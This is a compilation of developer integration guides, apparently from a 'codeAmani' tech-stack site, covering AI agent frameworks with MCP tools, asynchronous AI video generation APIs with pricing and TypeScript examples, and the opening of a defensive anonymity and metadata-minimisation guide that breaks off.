    tools=[get_weather],           # plain Python functions; docstring + type hints = schema
)

runner = InMemoryRunner(agent=root_agent, app_name="weather")
from google.adk.tools.mcp_tool import McpToolset
from google.adk.tools.mcp_tool.mcp_session_manager import (
    StdioConnectionParams, StreamableHTTPConnectionParams,
)
from mcp import StdioServerParameters

tools = [
    McpToolset(  # local server over stdio
        connection_params=StdioConnectionParams(
            server_params=StdioServerParameters(command="npx", args=["-y", "mpesa-mcp"]),
        ),
        tool_filter=["mpesa_status"],               # expose only what the agent needs
    ),
    McpToolset(  # remote server: prefer Streamable HTTP over SseConnectionParams
        connection_params=StreamableHTTPConnectionParams(
            url="https://mcp.example.com/mcp", headers={"Authorization": "Bearer TOKEN"},
        ),
    ),
]

5. Vercel AI SDK — agents in a Next.js app

For codeAmani's Next.js apps, AI SDK 7 (ai 7.x) gives you a provider-agnostic agent class, so you can swap Claude, Grok, or Gemini without rewriting the loop. Full example: examples/agent-loop-vercel.ts.

import { ToolLoopAgent, isStepCount } from "ai";
import { anthropic } from "@ai-sdk/anthropic";

export const supportAgent = new ToolLoopAgent({
  model: anthropic("claude-opus-5-5"),
  instructions: "Answer from tools; never guess payment status.",
  tools: { mpesaStatus },          // tool({ description, inputSchema, execute })
  stopWhen: isStepCount(10),
});

const { text } = await supportAgent.generate({ prompt: "Is ws_CO_123 paid?" });

Step limits differ by entry point, so always set stopWhen explicitly:

Entry point Default stop Consequence if you forget
generateText / streamText isStepCount(1) Stops after the first tool call and returns an empty answer
ToolLoopAgent isStepCount(20) Logs a warning when it hits the cap
WorkflowAgent (@ai-sdk/workflow) none Runs until the model stops calling tools

WorkflowAgent is the durable variant. Each tool call is a workflow step with retries, the run survives a crash, and needsApproval tools suspend for a human and resume later. That is the right shape for an agent that must wait for an approval before an M-Pesa payout.


Choosing a stack

Claude (Tool Runner / Agent SDK / Managed) xAI Grok MS Agent Framework Google ADK Vercel AI SDK
Language TS / Python (+ more SDKs) Python / REST Python / .NET / Go (preview) Python / TS / Go / Java / Kotlin TypeScript
Tools functions, MCP, built-ins client + server-side functions + MCP functions + MCP functions (+ MCP adapter)
MCP mcp_servers / Managed vaults mcp() tool MCPStdioTool / MCPStreamableHTTPTool McpToolset via MCP client
Hosting your infra, or Anthropic (Managed) xAI API Azure / your infra Agent Runtime / your infra Vercel / your infra
Multi-agent subagents, multi-agent sessions DIY graph + functional workflows agent hierarchies, A2A subagents, workflows
Best for coding/ops agents, guardrails, hosted sandboxes live web/X research .NET/Azure shops Gemini + GCP-native Next.js apps, provider swaps

Rule of thumb for codeAmani: Claude for anything agentic with real consequences (Tool Runner in apps, Agent SDK for ops, Managed Agents when you want Anthropic to host the sandbox); the AI SDK ToolLoopAgent in Next.js when provider portability matters; Grok for live web/X research; ADK when you're already on GCP/Gemini; Microsoft when the stack is .NET/Azure.


Capabilities & scope (what to expect)


codeAmani notes

Official docs:

AI Video Generation Integration Guide

Technology: ai-video · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/ai-video

Insight:

Generative video is an async job, not a request/response: submit, get a job id, wait on a webhook (or poll), then re-host the clip before the provider URL expires. By late 2026 the market is crowded and cheap at the low end. Google now steers new Gemini API work to Gemini Omni Flash (~$0.10/s at 720p) and keeps Veo 3.1 for extension and last-frame control. xAI's Grok Imagine 1.5 Lite starts at $0.02/s. Kling 3, Wan 3.0, Hailuo H3 and LTX 2.5 all sit between $0.05 and $0.17/s on fal. OpenAI's Sora API shut down on 2026-09-24. AI SDK 7 wraps all of this in experimental_generateVideo, plus a fire-and-forget experimental_startVideo / experimental_getVideoStatus pair. For codeAmani, draft short 9:16 clips on a cheap tier, promote only the keepers, and re-host every render to R2.

 █████╗ ██╗    ██╗   ██╗██╗██████╗ ███████╗ ██████╗
██╔══██╗██║    ██║   ██║██║██╔══██╗██╔════╝██╔═══██╗
███████║██║    ██║   ██║██║██║  ██║█████╗  ██║   ██║
██╔══██║██║    ╚██╗ ██╔╝██║██║  ██║██╔══╝  ██║   ██║
██║  ██║██║     ╚████╔╝ ██║██████╔╝███████╗╚██████╔╝
╚═╝  ╚═╝╚═╝      ╚═══╝  ╚═╝╚═════╝ ╚══════╝ ╚═════╝

AI Video Generation Integration Guide

Focus: generative video is an async job, not a request/response. You submit a prompt, get a job id, then either poll the status or let a webhook call you back, and finally download the rendered clip. It is the same reverse-API flow the repo already documents for webhooks, applied to a render that takes 30 seconds to several minutes.

Overview

Text-to-video and image-to-video models turn a prompt (and optionally a start image, reference images, or a source video) into a short MP4. Most current models generate native audio too. Unlike an LLM call that streams tokens back in seconds, a video render is long-running and expensive. An 8-second 1080p clip takes a minute or more of GPU time and costs anywhere from about $0.16 to several dollars. So no serious provider makes you hold an HTTP connection open for the render. They all use the same shape:

  1. Submit the prompt. You immediately get a job / prediction / operation id.
  2. Wait for completion, in one of two ways:
    • Poll: GET the job id every few seconds until status is terminal.
    • Webhook: register a callback URL and the provider POSTs to you when the clip is ready. This is the cheaper, more scalable path, and it is the same receiver pattern documented in webhooks/.
  3. Download the clip from the URL in the result. The URL expires, so re-host it to your own R2 or Supabase bucket.

This guide treats AI video as a separate modality in the codeAmani AI routing policy, alongside Claude (reasoning), OpenAI (structured output), and HuggingFace (open models). It covers three ways in:

Models & providers

Prices are per second of output, checked against official pages on 2026-10-20. They move fast, so re-check before you commit a budget. Full table with sources: reference/pricing-snapshot.md.

Model Best at Native audio Duration / res (API) $/sec (official) How to call
Google Gemini Omni Flash (gemini-omni-1.1-flash) Google's recommended default in the Gemini API: coherence, multi-input (text + image + audio + video), multi-turn editing Yes 3–10 s · 360p / 720p, with 1080p and 4K upscaled ~$0.10 at 720p (token-billed) Gemini Interactions API (ai.interactions.create), fal google/gemini-omni-flash/v1.1/..., Runway
Google Veo 3.1 (Standard / Fast / Lite) Top realism and lip-sync; video extension, first/last frame, up to 3 reference images Yes (default on) 4 / 6 / 8 s · 720p / 1080p / 4K (no 4K on Lite) Std $0.40 (4K $0.60) · Fast $0.10 / $0.12 / $0.30 · Lite $0.05 / $0.08 Gemini API generateVideos, Vertex, AI Gateway google/veo-3.1-generate-001, fal fal-ai/veo3.1, Replicate google/veo-3.1
xAI Grok Imagine Video 1.5 (+ Lite) Cheapest credible drafts; editing, extension, reference-to-video with reference audio Yes 1–15 s · 480p / 720p / 1080p 1.5: $0.08 / $0.14 / $0.25 · Lite: $0.02 / $0.03 / $0.14 xAI API, AI SDK @ai-sdk/xai (xai.video(...)), fal, Runway
Kling 3.0 (Standard / Pro / 4K) + Kling O3 Physics, multi-shot consistency, voice control Yes (optional) 3–15 s · up to 4K fal Pro $0.112 (no audio) / $0.168 (audio) · Std $0.084 / $0.126 AI SDK @ai-sdk/klingai, AI Gateway klingai/kling-v3.0-t2v, fal, Runway
Runway Gen-4.5 Cinematic control, prompt adherence No (use Aleph 2.0 to edit with audio) 2–10 s · 1280:720 / 720:1280 $0.12 (12 credits/s) · Gen-4 Turbo $0.05 Runway Dev API (@runwayml/sdk)
ByteDance Seedance 2.5 / 2.0 Long clips (2.5: up to 30 s), strong image-to-video Yes 4–30 s · 480p / 720p / 1080p fal 2.5 (US): ~$0.22 / $0.47 / $1.16 · 2.0 Fast ~$0.24 @720p · Runway 2.5: $0.20 / $0.30 / $0.68 AI Gateway, fal bytedance/seedance-2.5/us/..., Runway
Alibaba Wan 3.0 Low-cost generalist, smart duration Yes 2–30 s · 480p / 720p / 1080p fal $0.05 / $0.10 / $0.20 fal alibaba/wan-3.0/..., AI Gateway (Wan 2.6), Runway
MiniMax Hailuo H3 / H3 Max Cheap, stylised presets, up to 4K Yes 5–15 s · 480p–4K fal H3: $0.05 (480p) – $0.16 (4K) · H3 Max list $0.05–$0.16 fal minimax/h3/..., Runway (hailuo3, h3_max)
Lightricks LTX 2.5 Fast, long (up to 20 s at 24/25 fps), audio included Yes 6–20 s · 720p–4K fal Fast $0.09 (720p) – $0.30 (4K) fal lightricks/ltx-2.5/...
Luma Ray3.2 HDR, keyframes, reframe Partial 5 / 10 s · 540p–1080p fal $0.10 (540p) / $0.20 (720p) / $0.40 (1080p) Luma Agents API (REST), fal luma/agent/ray/v3.2/...
Pika 2.2 Stylised effects, social Partial 5 / 10 s · 720p / 1080p fal $0.04 (720p) / $0.09 (1080p) fal fal-ai/pika/v2.2/...
OpenAI Sora 2 — — — — Shut down 2026-09-24. Videos API and all sora-2* models removed, no replacement

⚠️ Sora is gone. OpenAI's deprecations page lists the Videos API, sora-2, sora-2-pro and their dated snapshots as removed on 2026-09-24, with no recommended replacement. Delete any remaining Sora code paths and route those jobs to Veo, Omni Flash, Kling or Grok Imagine.

Selection heuristic: draft on a cheap tier (Grok Imagine 1.5 Lite, Veo 3.1 Lite, Wan 3.0 or Hailuo H3 at 480p/720p). Then re-render only the chosen prompt on a hero tier (Veo 3.1 Standard, Omni Flash at 1080p, or Kling 3 Pro). In a Next.js app, go through AI SDK + AI Gateway or fal so changing models means changing a string.

Official Documentation

Source URL What it covers
AI SDK video generation https://ai-sdk.dev/docs/ai-sdk-core/video-generation experimental_generateVideo: settings, polling, webhook factory, NoVideoGeneratedError
AI SDK generateVideo reference https://ai-sdk.dev/docs/reference/ai-sdk-core/generate-video Full parameter list
AI Gateway video https://vercel.com/docs/ai-gateway/modalities/video-generation Gateway model ids (google/veo-3.1-generate-001, klingai/kling-v3.0-t2v, alibaba/wan-v2.6-r2v), async + webhook, 300 KiB start-request cap
Gemini video overview https://ai.google.dev/gemini-api/docs/video Omni Flash vs Veo 3.1: which to use when
Gemini Omni Flash https://ai.google.dev/gemini-api/docs/omni Interactions API, multi-turn editing, limits
Gemini Veo 3.1 https://ai.google.dev/gemini-api/docs/veo generateVideos, operation polling, extension, 2-day retention
Gemini pricing https://ai.google.dev/gemini-api/docs/pricing Veo 3.1 Standard / Fast / Lite and Omni per-second rates
xAI video generation https://docs.x.ai/developers/model-capabilities/video/generation Grok Imagine Video models, durations, editing/extension
xAI pricing https://docs.x.ai/developers/pricing Per-second rates by resolution
fal queue API https://fal.ai/docs/model-apis/model-endpoints/queue fal.queue.submit/status/result, subscribe, webhookUrl
fal model schema (any model) https://fal.ai/models/<endpoint-id>/llms.txt Current input enums and pricing for one endpoint. Use this, not memory
Replicate Veo 3.1 https://replicate.com/google/veo-3.1 Inputs (image, last_frame, reference_images), pricing
Replicate JS client https://github.com/replicate/replicate-javascript predictions.create + webhook, predictions.get
Runway Dev API https://docs.dev.runwayml.com/ Gen-4.5, Aleph 2.0, plus third-party models (Veo, Kling, Seedance, Wan, Grok, Hailuo, Omni)
Runway pricing https://docs.dev.runwayml.com/guides/pricing/ Credits per second ($0.01 / credit)
Luma Agents API https://docs.agents.lumalabs.ai/ ray-3.2 video via https://agents.lumalabs.ai/v1/generations

The async lifecycle: submit → poll / webhook → download

Every provider is a variation on this. Submit returns an id, not the clip. You then wait by polling or by receiving a webhook, then download.

sequenceDiagram
    participant App as Your app
    participant V as Video provider
    participant CB as Your webhook (optional)
    participant R2 as R2 / Supabase
    App->>V: POST prompt (+ image) · submit job
    V-->>App: 202 · { job_id, status: "queued" }
    alt Polling
        loop every few seconds
            App->>V: GET job_id
            V-->>App: status: queued / processing / succeeded
        end
    else Webhook
        V->>CB: POST job_id · status: succeeded · video url
        CB->>CB: verify · dedupe on job_id
    end
    App->>V: GET signed clip url
    App->>R2: re-host MP4 (provider url expires)

Two ways to wait, one rule: the clip URL the provider returns is temporary. Gemini deletes Veo files after 2 days, Luma Agents presigned URLs last 1 hour, and aggregator URLs are signed and expire. Download and re-host to your own bucket immediately. Never store the provider URL as your permanent asset link.

Provider selection flow

flowchart TD
    A["Need a video"] --> B{"Have a start image?"}
    B -->|"yes"| C["Image-to-video"]
    B -->|"no"| D["Text-to-video"]
    C --> E{"Budget?"}
    D --> E
    E -->|"draft / social · cheap"| F["Grok Imagine Lite / Veo 3.1 Lite / Wan 3.0 / Hailuo H3"]
    E -->|"client deliverable · quality"| G["Veo 3.1 Standard / Omni Flash 1080p / Kling 3 Pro"]
    F --> H{"Scale / many jobs?"}
    G --> H
    H -->|"yes"| I["startVideo + webhookUrl · no polling"]
    H -->|"no · one-off"| J["generateVideo / subscribe inline"]

AI SDK 7: one API for every provider (default for Next.js)

AI SDK 7 (ai@7.0.146) ships video generation as an experimental API. There is no stable generateVideo export yet, so import the experimental_ names and alias them:

Function What it does Use it in
experimental_generateVideo Submit and wait. The SDK polls (default every 5 s, 10 min timeout) or waits on your webhook factory, then returns video.uint8Array / video.base64. Scripts, durable workflows (poll.delay), Workflow DevKit steps
experimental_startVideo Submit and return immediately with a JSON-serializable operation. Accepts webhookUrl. Request handlers: submit, store operation, return 202
experimental_getVideoStatus One status check: pending / completed (with videos) / error. Webhook receivers and scheduled pollers

startVideo and getVideoStatus are in the ai@7.0.146 type definitions and the fal, xAI, Google and Vertex providers implement doStart. They do not have reference pages on ai-sdk.dev yet, so re-check them whenever you bump ai.

// Script / durable workflow: submit + wait in one call.
import { experimental_generateVideo as generateVideo } from "ai";

const { video, warnings } = await generateVideo({
  model: "google/veo-3.1-generate-001", // AI Gateway id (needs AI_GATEWAY_API_KEY or Vercel OIDC)
  prompt: "Medium shot, a Nairobi street vendor arranging mangoes at dawn, slow dolly-in, warm light",
  aspectRatio: "9:16",
  duration: 8,
  generateAudio: true,
  poll: { intervalMs: 5_000, timeoutMs: 600_000 },
});
// video.uint8Array: upload straight to R2. warnings lists unsupported settings.
// Request handler: submit and return. The provider calls your webhook later.
import { experimental_startVideo as startVideo } from "ai";
import { fal } from "@ai-sdk/fal";

const { operation } = await startVideo({
  model: fal.video("fal-ai/kling-video/v3/pro/text-to-video"),
  prompt: "Product reel: a phone on a kitenge cloth, slow orbit, soft daylight",
  aspectRatio: "9:16",
  duration: 5,
  webhookUrl: "https://app.codeamanilabs.org/api/webhooks/video",
});
// Persist `operation` (JSON) on the job row now. It's your idempotency key.

Key settings (all optional, all model-dependent, and unsupported ones come back in warnings): aspectRatio ("16:9", "9:16", or "adaptive" for image-to-video), resolution ("1280x720"), duration (seconds), fps, seed, generateAudio, frameImages (first_frame / last_frame), inputReferences (images or videos), n, providerOptions. Failures throw NoVideoGeneratedError.

Provider packages (versions verified 2026-10-20):

Package Model factory Example ids
ai 7.0.146 (AI Gateway built in) model string google/veo-3.1-generate-001, klingai/kling-v3.0-t2v, alibaba/wan-v2.6-r2v
@ai-sdk/fal 3.0.65 fal.video(id) any fal endpoint id, e.g. fal-ai/veo3.1, bytedance/seedance-2.5/us/text-to-video
@ai-sdk/xai 5.0.26 xai.video(id) grok-imagine-video, grok-imagine-video-1.5
@ai-sdk/google 4.0.101 google.video(id) veo-3.1-generate-preview, veo-3.1-fast-generate-preview, veo-3.1-lite-generate-preview
@ai-sdk/google-vertex 5.0.118 vertex.video(id) veo-3.1-generate-001, veo-3.1-fast-generate-001
@ai-sdk/klingai 4.0.66 klingai.video(id) kling-v3.0-t2v, kling-v3.0-i2v, kling-v3.0-motion-control
@ai-sdk/replicate 3.0.65 · @ai-sdk/black-forest-labs 2.0.66 · @ai-sdk/alibaba 2.0.72 · @ai-sdk/bytedance 2.0.67 · @ai-sdk/minimax 3.0.61 per provider docs see ai-sdk.dev provider pages

The AI Gateway caps the async start request at 300 KiB, so pass hosted image URLs (R2 or Vercel Blob), not inline bytes, for image-to-video and references.

See examples/generate-video.ts for a type-checked submit / check / poll / download helper built on these calls.


fal.ai: the broadest aggregator (submit + webhook, or subscribe)

@fal-ai/client exposes the queue directly. For production, submit with a webhookUrl so you never block. For a quick script, fal.subscribe handles the polling. Always read the endpoint's current schema and price from https://fal.ai/models/<endpoint-id>/llms.txt.

// lib/video/fal.ts
import { fal } from "@fal-ai/client";

fal.config({ credentials: process.env.FAL_KEY! }); // server-side only

/** Production path: submit and let fal call your webhook when done. */
export async function submitVeoJob(prompt: string): Promise<string> {
  const { request_id } = await fal.queue.submit("fal-ai/veo3.1", {
    input: {
      prompt,
      aspect_ratio: "9:16", // "16:9" (default) | "9:16"
      duration: "8s",       // string enum: "4s" | "6s" | "8s" (default "8s")
      resolution: "720p",   // "720p" (default) | "1080p" | "4k"
      generate_audio: true, // default true; audio off halves the price ($0.20/s vs $0.40/s)
    },
    webhookUrl: "https://app.codeamanilabs.org/api/webhooks/fal",
  });
  return request_id; // store this: it's your idempotency key on the callback
}

/** Read the finished clip once the webhook says it's ready. */
export async function fetchVeoResult(requestId: string): Promise<string> {
  const result = await fal.queue.result("fal-ai/veo3.1", { requestId });
  return result.data.video.url; // re-host this immediately (it expires)
}

For a one-off with no webhook infrastructure, subscribe polls for you:

const result = await fal.subscribe("fal-ai/veo3.1", {
  input: { prompt, duration: "8s", resolution: "720p" },
  logs: true,
});
// result.data.video.url

Swap the endpoint id to change model. Current ids (from fal's catalog, 2026-10-20): fal-ai/kling-video/v3/pro/text-to-video, bytedance/seedance-2.5/us/text-to-video, alibaba/wan-3.0/text-to-video, minimax/h3/text-to-video, xai/grok-imagine-video/v1.5/text-to-video, google/gemini-omni-flash/v1.1/text-to-video, luma/agent/ray/v3.2/text-to-video, lightricks/ltx-2.5/text-to-video/fast. Most have an /image-to-video sibling.

The webhook receiver is exactly the pattern in webhooks/CLAUDE_CODE_INTEGRATION.md: verify, dedupe on request_id, ACK fast, then download and re-host out of band.


Replicate: one client, hundreds of models

replicate.predictions.create returns a prediction id and supports webhook + webhook_events_filter. Polling is predictions.get(id) with statuses starting → processing → succeeded | failed | canceled.

// lib/video/replicate.ts
import Replicate from "replicate";

const replicate = new Replicate({ auth: process.env.REPLICATE_API_TOKEN! });

/** Submit a Veo 3.1 render with a webhook callback. */
export async function submitReplicateVideo(prompt: string, imageUrl?: string) {
  const prediction = await replicate.predictions.create({
    model: "google/veo-3.1",
    input: {
      prompt,
      image: imageUrl,        // omit for text-to-video; `last_frame`, `reference_images` (1–3) also accepted
      duration: 8,            // 4 | 6 | 8 seconds
      resolution: "1080p",    // "720p" | "1080p"
      aspect_ratio: "9:16",
      generate_audio: true,   // $0.40/s with audio, $0.20/s without
    },
    webhook: "https://app.codeamanilabs.org/api/webhooks/replicate",
    webhook_events_filter: ["completed"], // fire once, when terminal
  });
  return prediction.id;
}

/** Polling fallback when you have no webhook endpoint. */
export async function pollReplicate(id: string): Promise<string> {
  let prediction = await replicate.predictions.get(id);
  while (!["succeeded", "failed", "canceled"].includes(prediction.status)) {
    await new Promise((r) => setTimeout(r, 3000));
    prediction = await replicate.predictions.get(id);
  }
  if (prediction.status !== "succeeded") throw new Error(String(prediction.error));
  return prediction.output as unknown as string; // signed MP4 url: re-host it
}

replicate.run(model, { input }) is the blocking convenience form. It's fine for scripts, but avoid it in request handlers: a render can outlast a serverless function's timeout.


Google first-party (@google/genai): Omni Flash and Veo 3.1

Google's video docs now say to use Gemini Omni Flash as the default video model, and Veo 3.1 for scene extension, last-frame control, or legacy pipelines. The two use different APIs.

Gemini Omni Flash: Interactions API

// lib/video/omni.ts
import { GoogleGenAI } from "@google/genai";
import { writeFileSync } from "node:fs";

const ai = new GoogleGenAI({ apiKey: process.env.GEMINI_API_KEY! });

export async function generateOmniClip(prompt: string): Promise<string> {
  const interaction = await ai.interactions.create({
    model: "gemini-omni-1.1-flash",
    input: prompt,
  });
  if (!interaction.output_video?.data) throw new Error("No video returned");
  writeFileSync("omni.mp4", Buffer.from(interaction.output_video.data, "base64"));
  return "omni.mp4"; // upload to R2
}

By default this call is synchronous: base64 comes back inline. Google documents a URI-delivery mode for larger outputs. Omni limits: 3–10 s generation; 360p or 720p native with 1080p and 4K upscaled; 16:9 or 9:16; no negative_prompt (put "do not…" in the prompt); no audio-reference uploads; and uploaded-video editing is unavailable in the EEA, Switzerland and the UK. Multi-turn edits chain via previous_interaction_id.

Veo 3.1: long-running operation

generateVideos returns an operation that you poll with getVideosOperation until operation.done, then download with ai.files.download.

// lib/video/veo.ts
import { GoogleGenAI } from "@google/genai";

const ai = new GoogleGenAI({ apiKey: process.env.GEMINI_API_KEY! });

export async function generateVeoClip(prompt: string): Promise<string> {
  let operation = await ai.models.generateVideos({
    // veo-3.1-generate-preview (Standard) · veo-3.1-fast-generate-preview (drafts)
    // · veo-3.1-lite-generate-preview (cheapest, no 4K)
    model: "veo-3.1-generate-preview",
    prompt,
  });

  // Poll the long-running operation (no webhook on this SDK path).
  while (!operation.done) {
    await new Promise((r) => setTimeout(r, 10_000));
    operation = await ai.operations.getVideosOperation({ operation });
  }

  const video = operation.response?.generatedVideos?.[0]?.video;
  if (!video) throw new Error("Veo returned no video (possibly filtered)");
  await ai.files.download({ file: video, downloadPath: "output.mp4" });
  return "output.mp4"; // upload to R2/Supabase: Gemini deletes it after 2 days
}

Veo 3.1 constraints (Gemini API): durations 4 / 6 / 8 s. Use 8 s for 1080p, 4K, reference images (up to 3), or extension. Extension only works on 720p clips, and Veo-generated input can be at most 141 s (148 s combined). Aspect ratio is 16:9 (default) or 9:16. Audio is native. Output carries a SynthID watermark. Veo 3.0 / 3.0 Fast are deprecated. All three 3.1 models are still -preview in the Gemini API. Vertex AI and AI Gateway expose GA ids (veo-3.1-generate-001, veo-3.1-fast-generate-001). For background jobs on Google at scale, prefer Vertex (or AI Gateway) over an inline polling loop.


xAI Grok Imagine Video: cheapest first-party drafts

xAI's video models are grok-imagine-video, grok-imagine-video-1.5, and grok-imagine-video-1.5-lite. They cover text-to-video, image-to-video, editing, extension and reference-to-video. Version 1.5 accepts reference audio and renders native 1080p. The simplest TypeScript path is the AI SDK provider:

import { experimental_generateVideo as generateVideo } from "ai";
import { xai } from "@ai-sdk/xai"; // reads XAI_API_KEY

const { video } = await generateVideo({
  model: xai.video("grok-imagine-video-1.5"),
  prompt: "Boda boda rider weaving through Nairobi traffic at golden hour, handheld",
  aspectRatio: "9:16",
  duration: 6,
});

The @ai-sdk/xai@5.0.26 typings list grok-imagine-video and grok-imagine-video-1.5. The -1.5-lite id is on xAI's pricing page and fal, and it passes through as a plain string.


Runway Dev: Gen-4.5 plus a model marketplace

Runway's API (Runway Dev, @runwayml/sdk 4.22.0, reads RUNWAYML_API_SECRET) now resells third-party models next to its own: Veo 3.1, Gemini Omni Flash, Kling 3 / O3, Seedance 2 / 2.5, Wan 3, Grok Imagine 1.5, and Hailuo 3. All are billed at $0.01 per credit. Gen-4.5 is 12 credits/s ($0.12/s), Gen-4 Turbo 5 credits/s, Aleph 2.0 (video-to-video editing) 28 credits/s.

import RunwayML from "@runwayml/sdk";

const client = new RunwayML(); // RUNWAYML_API_SECRET

const task = await client.textToVideo
  .create({
    model: "gen4.5",
    promptText: "Slow push-in on a Maasai beadwork stall at dusk, shallow depth of field",
    ratio: "720:1280", // gen4.5 text-to-video: "1280:720" | "720:1280"
    duration: 5,       // integer, 2–10 s
  })
  .waitForTaskOutput(); // polls for you; fine in a worker, not in a request handler

Luma: the Agents API replaced the Dream Machine API

Luma's old API docs (docs.lumalabs.ai, ray-2 / ray-flash-2, lumaai npm) now point to the Luma Agents API at https://agents.lumalabs.ai/v1/generations with model ray-3.2, auth LUMA_AGENTS_API_KEY, type: "video", video: { resolution, duration: "5s" }. Results come back as presigned URLs that expire after 1 hour, so re-host immediately. ⚠️ The luma-agents npm SDK (0.1.2) only types the image models (uni-1, uni-1-max) so far. For video, call the REST endpoint with fetch, or use fal's luma/agent/ray/v3.2/text-to-video.


Cost, limits & content moderation


codeAmani notes

AI_GATEWAY_API_KEY=vck_...
FAL_KEY=fal_...
XAI_API_KEY=xai-...
GEMINI_API_KEY=AIza...
REPLICATE_API_TOKEN=r8_...
RUNWAYML_API_SECRET=key_...
LUMA_AGENTS_API_KEY=luma_...

On Vercel, AI Gateway can authenticate with the deployment's OIDC token instead of AI_GATEWAY_API_KEY. @ai-sdk/fal also accepts FAL_API_KEY. @ai-sdk/google reads GOOGLE_GENERATIVE_AI_API_KEY unless you pass apiKey explicitly. Verify each provider's webhook signature before trusting the callback (see webhooks/). AI Gateway's async start returns a webhookSigningSecret in providerMetadata.gateway.

Setting (not secret) Where
Model id per tier (e.g. google/veo-3.1-generate-001) lib/video/models.ts constant, not env
Webhook base URL NEXT_PUBLIC_APP_URL or route config
Max duration / resolution per plan DB plan table

Official docs:

Anonymity Integration Guide

Technology: anonymity · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/anonymity

Insight:

Anonymity is a property of a system under a stated adversary, never a product you install. The engineering job is subtractive: every identifier you never collect, every log line you never write, and every third-party script you never ship is anonymity you don't have to defend later. This guide is the audited, current replacement for a decade of stale "install Tor and you're invisible" folklore. As of October 2026 the sharpest new edge is that C tor 0.4.8 and older no longer work on the Tor network (cut-off 1 Sept 2026), so any self-hosted onion service or bundled tor binary must be on 0.4.9+.

 █████╗ ███╗   ██╗ ██████╗ ███╗   ██╗██╗   ██╗███╗   ███╗██╗████████╗██╗   ██╗
██╔══██╗████╗  ██║██╔═══██╗████╗  ██║╚██╗ ██╔╝████╗ ████║██║╚══██╔══╝╚██╗ ██╔╝
███████║██╔██╗ ██║██║   ██║██╔██╗ ██║ ╚████╔╝ ██╔████╔██║██║   ██║    ╚████╔╝ 
██╔══██║██║╚██╗██║██║   ██║██║╚██╗██║  ╚██╔╝  ██║╚██╔╝██║██║   ██║     ╚██╔╝  
██║  ██║██║ ╚████║╚██████╔╝██║ ╚████║   ██║   ██║ ╚═╝ ██║██║   ██║      ██║   
╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚═╝     ╚═╝╚═╝   ╚═╝      ╚═╝   

Anonymity Integration Guide

Focus: Building systems that don't deanonymize the people who use them — threat modelling, metadata minimization, Tor/onion-service integration, and anonymous intake — plus a tool-by-tool audit correcting a decade of stale advice.

Overview

Anonymity is not a tool. It is a property of a system, measured against a named adversary. "Am I anonymous?" is an unanswerable question. "Can a passive observer of my ISP link this request to my legal identity?" is answerable, testable, and engineerable.

Three distinct properties get conflated constantly, and conflating them is the single most common failure in this space:

Property Question it answers Broken by
Confidentiality Can they read the content? Weak/absent E2EE, backdoored endpoints
Privacy Can they link content to behaviour? Logging, tracking, data brokers
Anonymity Can they link behaviour to an identity? Metadata, correlation, one careless reuse

Encryption gives you the first. It gives you neither of the other two. A perfectly encrypted message that arrives from your home IP, at a predictable hour, to a recipient only you contact, is not anonymous — and this is precisely how most real deanonymizations happen.

For codeAmani the practical surface is defensive: we build products used by riders, clinic patients, SACCO members, donors, and whistleblowers. Our job is to avoid collecting the identifiers that would deanonymize them, not to help anyone evade lawful process.

flowchart TD
  A["Who is the adversary?"] --> B{"Capability"}
  B -->|"Curious insider / scraper"| C["Data minimization<br/>access control · retention limits"]
  B -->|"Commercial surveillance<br/>adtech · data brokers"| D["No 3rd-party scripts<br/>no SDK telemetry · IP truncation"]
  B -->|"Network observer<br/>ISP · café wifi"| E["TLS + ECH · Tor<br/>pluggable transports"]
  B -->|"Nation-state<br/>global passive adversary"| F["Compartmentalized OS<br/>Qubes-Whonix · Tails · burner hardware"]
  C --> G["Anonymity set:<br/>how many people<br/>could this have been?"]
  D --> G
  E --> G
  F --> G

The last box is the one that matters. Anonymity is a crowd property. You are only as anonymous as the number of people who look identical to you. Every "optimization" that makes you unusual — a rare font set, a custom user-agent, a niche browser extension, a hand-edited about:config pref — shrinks your crowd and hurts you. This inverts most people's intuition and is the reason the audit below rejects so much traditional "hardening" advice.

Official Documentation

Resource URL
Onion services (operator docs) https://community.torproject.org/onion-services/
Tor protocol specifications https://spec.torproject.org/
Tor Support portal (absorbed the Tor Browser manual, Oct 2025) https://support.torproject.org/
Tails documentation https://tails.net/doc/
Whonix documentation https://www.whonix.org/wiki/Documentation
SecureDrop (whistleblower intake) https://securedrop.org/
Arti (Rust Tor) client crate https://docs.rs/arti-client
Privacy Guides (tool selection) https://www.privacyguides.org/

tb-manual.torproject.org now 301-redirects to the Support portal. Update old links.

Current versions (verified 2026-10-20)

Component Current Notes Source
Tor Browser (stable) 15.0.25 (12 Oct 2026) Based on Firefox ESR 140. 16.0 is in alpha (16.0a14, ESR 153) blog.torproject.org, dist.torproject.org
Mullvad Browser 15.0.25 Built by the Tor Project for Mullvad dist.torproject.org/mullvadbrowser
C tor (stable) 0.4.9.14 (7 Oct 2026) 0.4.8 EOL 1 Jun 2026; 0.4.8 and older stopped working on the network 1 Sep 2026 dist.torproject.org, blog "Sunsetting Tor 0.4.8"
Arti (arti binary) 2.7.0 (1 Oct 2026) Security fixes; upgrade if running onion services blog.torproject.org
arti-client (Rust library) 0.47.0 Library API is still pre-1.0 — "expect a certain amount of breakage" crates.io, docs.rs
Tails 7.15 (13 Oct 2026) Debian 13 "Trixie" base since 7.0; ships TB 15.0.25 + tor 0.4.9.14 blog.torproject.org
Qubes OS 4.3.2 qubes-os.org/downloads
socks-proxy-agent (npm) 10.1.0 ESM-only since 9.0, Node ≥ 20 since 10.0 npm, CHANGELOG
undici (npm) 8.12.3 Ships an experimental Socks5ProxyAgent (since 7.23.0) npm, undici docs
stem (PyPI) 1.8.2 (June 2023) Site states Stem is "mostly unmaintained" stem.torproject.org
PySocks (PyPI) 1.7.1 PyPI
SecureDrop 2.16.1 (Jul 2026) securedrop.org/news
mat2 (PyPI) 0.15.0 (Aug 2026) Moved to GitHub (jvoisin/mat2); the 0xacab repo is archived PyPI
@sentry/nextjs (npm) 11.8.0 v11 removed sendDefaultPii; unset dataCollection collects everything — see Log hygiene npm, Sentry v10→v11 migration guide

The 2015 → 2026 audit

This guide was commissioned as an audit of Tor and the Dark Art of Anonymity (Lance Henderson, 2015 edition). The book's principles aged well; its tooling did not, and a meaningful fraction of its advice is now actively harmful.

Full chapter-by-chapter mapping lives in reference/book-audit-2015-to-2026.md. Headlines:

Actively harmful if followed today

